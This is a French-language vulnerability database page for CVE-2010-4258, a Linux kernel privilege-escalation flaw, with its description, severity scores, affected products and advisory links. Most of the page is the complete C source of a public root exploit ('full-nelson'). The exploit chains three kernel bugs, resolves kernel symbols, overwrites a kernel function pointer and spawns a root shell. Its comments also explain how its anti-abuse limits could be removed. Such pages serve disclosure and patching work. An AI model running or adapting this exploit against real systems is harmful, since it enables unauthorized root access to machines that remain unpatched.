CVE-2010-4258 : Détail

CVE-2010-4258

Improper Privilege Management
A04-Insecure Design
0.04%V3
Local
2010-12-30
17h00 +00:00
2011-01-12
09h00 +00:00
CVE.org
NVD
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Descriptions du CVE

The do_exit function in kernel/exit.c in the Linux kernel before 2.6.36.2 does not properly handle a KERNEL_DS get_fs value, which allows local users to bypass intended access_ok restrictions, overwrite arbitrary kernel memory locations, and gain privileges by leveraging a (1) BUG, (2) NULL pointer dereference, or (3) page fault, as demonstrated by vectors involving the clear_child_tid feature and the splice system call.

Informations du CVE

Faiblesses connexes

CWE-ID Nom de la faiblesse Source
CWE-269 Improper Privilege Management
The product does not properly assign, modify, track, or check privileges for an actor, creating an unintended sphere of control for that actor.

Métriques

Métriques Score Gravité CVSS Vecteur Source
V2 6.2 AV:L/AC:H/Au:N/C:C/I:C/A:C [email protected]

EPSS

EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.

Score EPSS

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Percentile EPSS

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.
EPSS First.org

Informations sur l'Exploit

Exploit Database EDB-ID : 15704

Date de publication : 2010-12-06 23h00 +00:00
Auteur : Dan Rosenberg
EDB Vérifié : Yes

/* * Linux Kernel <= 2.6.37 local privilege escalation * by Dan Rosenberg * @djrbliss on twitter * * Usage: * gcc full-nelson.c -o full-nelson * ./full-nelson * * This exploit leverages three vulnerabilities to get root, all of which were * discovered by Nelson Elhage: * * CVE-2010-4258 * ------------- * This is the interesting one, and the reason I wrote this exploit. If a * thread is created via clone(2) using the CLONE_CHILD_CLEARTID flag, a NULL * word will be written to a user-specified pointer when that thread exits. * This write is done using put_user(), which ensures the provided destination * resides in valid userspace by invoking access_ok(). However, Nelson * discovered that when the kernel performs an address limit override via * set_fs(KERNEL_DS) and the thread subsequently OOPSes (via BUG, page fault, * etc.), this override is not reverted before calling put_user() in the exit * path, allowing a user to write a NULL word to an arbitrary kernel address. * Note that this issue requires an additional vulnerability to trigger. * * CVE-2010-3849 * ------------- * This is a NULL pointer dereference in the Econet protocol. By itself, it's * fairly benign as a local denial-of-service. It's a perfect candidate to * trigger the above issue, since it's reachable via sock_no_sendpage(), which * subsequently calls sendmsg under KERNEL_DS. * * CVE-2010-3850 * ------------- * I wouldn't be able to reach the NULL pointer dereference and trigger the * OOPS if users weren't able to assign Econet addresses to arbitrary * interfaces due to a missing capabilities check. * * In the interest of public safety, this exploit was specifically designed to * be limited: * * * The particular symbols I resolve are not exported on Slackware or Debian * * Red Hat does not support Econet by default * * CVE-2010-3849 and CVE-2010-3850 have both been patched by Ubuntu and * Debian * * However, the important issue, CVE-2010-4258, affects everyone, and it would * be trivial to find an unpatched DoS under KERNEL_DS and write a slightly * more sophisticated version of this that doesn't have the roadblocks I put in * to prevent abuse by script kiddies. * * Tested on unpatched Ubuntu 10.04 kernels, both x86 and x86-64. * * NOTE: the exploit process will deadlock and stay in a zombie state after you * exit your root shell because the Econet thread OOPSes while holding the * Econet mutex. It wouldn't be too hard to fix this up, but I didn't bother. * * Greets to spender, taviso, stealth, pipacs, jono, kees, and bla */ // EDB-Note: You may need to add '#define _GNU_SOURCE' to compile in later versions #include <stdio.h> #include <sys/socket.h> #include <fcntl.h> #include <sys/ioctl.h> #include <string.h> #include <net/if.h> #include <sched.h> #include <stdlib.h> #include <signal.h> #include <sys/utsname.h> #include <sys/mman.h> #include <unistd.h> /* How many bytes should we clear in our * function pointer to put it into userspace? */ #ifdef __x86_64__ #define SHIFT 24 #define OFFSET 3 #else #define SHIFT 8 #define OFFSET 1 #endif /* thanks spender... */ unsigned long get_kernel_sym(char *name) { FILE *f; unsigned long addr; char dummy; char sname[512]; struct utsname ver; int ret; int rep = 0; int oldstyle = 0; f = fopen("/proc/kallsyms", "r"); if (f == NULL) { f = fopen("/proc/ksyms", "r"); if (f == NULL) goto fallback; oldstyle = 1; } repeat: ret = 0; while(ret != EOF) { if (!oldstyle) ret = fscanf(f, "%p %c %s\n", (void **)&addr, &dummy, sname); else { ret = fscanf(f, "%p %s\n", (void **)&addr, sname); if (ret == 2) { char *p; if (strstr(sname, "_O/") || strstr(sname, "_S.")) continue; p = strrchr(sname, '_'); if (p > ((char *)sname + 5) && !strncmp(p - 3, "smp", 3)) { p = p - 4; while (p > (char *)sname && *(p - 1) == '_') p--; *p = '\0'; } } } if (ret == 0) { fscanf(f, "%s\n", sname); continue; } if (!strcmp(name, sname)) { fprintf(stdout, " [+] Resolved %s to %p%s\n", name, (void *)addr, rep ? " (via System.map)" : ""); fclose(f); return addr; } } fclose(f); if (rep) return 0; fallback: uname(&ver); if (strncmp(ver.release, "2.6", 3)) oldstyle = 1; sprintf(sname, "/boot/System.map-%s", ver.release); f = fopen(sname, "r"); if (f == NULL) return 0; rep = 1; goto repeat; } typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred); typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred); _commit_creds commit_creds; _prepare_kernel_cred prepare_kernel_cred; static int __attribute__((regparm(3))) getroot(void * file, void * vma) { commit_creds(prepare_kernel_cred(0)); return -1; } /* Why do I do this? Because on x86-64, the address of * commit_creds and prepare_kernel_cred are loaded relative * to rip, which means I can't just copy the above payload * into my landing area. */ void __attribute__((regparm(3))) trampoline() { #ifdef __x86_64__ asm("mov $getroot, %rax; call *%rax;"); #else asm("mov $getroot, %eax; call *%eax;"); #endif } /* Triggers a NULL pointer dereference in econet_sendmsg * via sock_no_sendpage, so it's under KERNEL_DS */ int trigger(int * fildes) { int ret; struct ifreq ifr; memset(&ifr, 0, sizeof(ifr)); strncpy(ifr.ifr_name, "eth0", IFNAMSIZ); ret = ioctl(fildes[2], SIOCSIFADDR, &ifr); if(ret < 0) { printf("[*] Failed to set Econet address.\n"); return -1; } splice(fildes[3], NULL, fildes[1], NULL, 128, 0); splice(fildes[0], NULL, fildes[2], NULL, 128, 0); /* Shouldn't get here... */ exit(0); } int main(int argc, char * argv[]) { unsigned long econet_ops, econet_ioctl, target, landing; int fildes[4], pid; void * newstack, * payload; /* Create file descriptors now so there are two references to them after cloning...otherwise the child will never return because it deadlocks when trying to unlock various mutexes after OOPSing */ pipe(fildes); fildes[2] = socket(PF_ECONET, SOCK_DGRAM, 0); fildes[3] = open("/dev/zero", O_RDONLY); if(fildes[0] < 0 || fildes[1] < 0 || fildes[2] < 0 || fildes[3] < 0) { printf("[*] Failed to open file descriptors.\n"); return -1; } /* Resolve addresses of relevant symbols */ printf("[*] Resolving kernel addresses...\n"); econet_ioctl = get_kernel_sym("econet_ioctl"); econet_ops = get_kernel_sym("econet_ops"); commit_creds = (_commit_creds) get_kernel_sym("commit_creds"); prepare_kernel_cred = (_prepare_kernel_cred) get_kernel_sym("prepare_kernel_cred"); if(!econet_ioctl || !commit_creds || !prepare_kernel_cred || !econet_ops) { printf("[*] Failed to resolve kernel symbols.\n"); return -1; } if(!(newstack = malloc(65536))) { printf("[*] Failed to allocate memory.\n"); return -1; } printf("[*] Calculating target...\n"); target = econet_ops + 10 * sizeof(void *) - OFFSET; /* Clear the higher bits */ landing = econet_ioctl << SHIFT >> SHIFT; payload = mmap((void *)(landing & ~0xfff), 2 * 4096, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED, 0, 0); if ((long)payload == -1) { printf("[*] Failed to mmap() at target address.\n"); return -1; } memcpy((void *)landing, &trampoline, 1024); clone((int (*)(void *))trigger, (void *)((unsigned long)newstack + 65536), CLONE_VM | CLONE_CHILD_CLEARTID | SIGCHLD, &fildes, NULL, NULL, target); sleep(1); printf("[*] Triggering payload...\n"); ioctl(fildes[2], 0, NULL); if(getuid()) { printf("[*] Exploit failed to get root.\n"); return -1; } printf("[*] Got root!\n"); execl("/bin/sh", "/bin/sh", NULL); }

Products Mentioned

Configuraton 0

Linux>>Linux_kernel >> Version To (excluding) 2.6.36.2

Configuraton 0

Fedoraproject>>Fedora >> Version 13

Configuraton 0

Opensuse>>Opensuse >> Version 11.2

Opensuse>>Opensuse >> Version 11.3

Suse>>Linux_enterprise_desktop >> Version 10

Suse>>Linux_enterprise_desktop >> Version 11

Suse>>Linux_enterprise_real_time_extension >> Version 11

Suse>>Linux_enterprise_server >> Version 9

Suse>>Linux_enterprise_server >> Version 10

Suse>>Linux_enterprise_server >> Version 11

Suse>>Linux_enterprise_software_development_kit >> Version 10

Références

http://openwall.com/lists/oss-security/2010/12/02/2
Tags : mailing-list, x_refsource_MLIST
http://secunia.com/advisories/43056
Tags : third-party-advisory, x_refsource_SECUNIA
http://secunia.com/advisories/42778
Tags : third-party-advisory, x_refsource_SECUNIA
http://openwall.com/lists/oss-security/2010/12/02/3
Tags : mailing-list, x_refsource_MLIST
http://secunia.com/advisories/42801
Tags : third-party-advisory, x_refsource_SECUNIA
http://openwall.com/lists/oss-security/2010/12/09/4
Tags : mailing-list, x_refsource_MLIST
http://secunia.com/advisories/42932
Tags : third-party-advisory, x_refsource_SECUNIA
http://www.vupen.com/english/advisories/2011/0124
Tags : vdb-entry, x_refsource_VUPEN
http://marc.info/?l=linux-kernel&m=129117048916957&w=2
Tags : mailing-list, x_refsource_MLIST
http://www.vupen.com/english/advisories/2010/3321
Tags : vdb-entry, x_refsource_VUPEN
http://openwall.com/lists/oss-security/2010/12/08/9
Tags : mailing-list, x_refsource_MLIST
http://www.vupen.com/english/advisories/2011/0298
Tags : vdb-entry, x_refsource_VUPEN
http://openwall.com/lists/oss-security/2010/12/09/14
Tags : mailing-list, x_refsource_MLIST
http://www.vupen.com/english/advisories/2011/0375
Tags : vdb-entry, x_refsource_VUPEN
https://lkml.org/lkml/2010/12/1/543
Tags : mailing-list, x_refsource_MLIST
http://www.vupen.com/english/advisories/2011/0012
Tags : vdb-entry, x_refsource_VUPEN
http://openwall.com/lists/oss-security/2010/12/02/4
Tags : mailing-list, x_refsource_MLIST
http://www.mandriva.com/security/advisories?name=MDVSA-2011:029
Tags : vendor-advisory, x_refsource_MANDRIVA
http://secunia.com/advisories/42745
Tags : third-party-advisory, x_refsource_SECUNIA
http://openwall.com/lists/oss-security/2010/12/02/7
Tags : mailing-list, x_refsource_MLIST
http://openwall.com/lists/oss-security/2010/12/08/5
Tags : mailing-list, x_refsource_MLIST
http://secunia.com/advisories/43291
Tags : third-party-advisory, x_refsource_SECUNIA
http://www.vupen.com/english/advisories/2011/0213
Tags : vdb-entry, x_refsource_VUPEN
http://openwall.com/lists/oss-security/2010/12/08/4
Tags : mailing-list, x_refsource_MLIST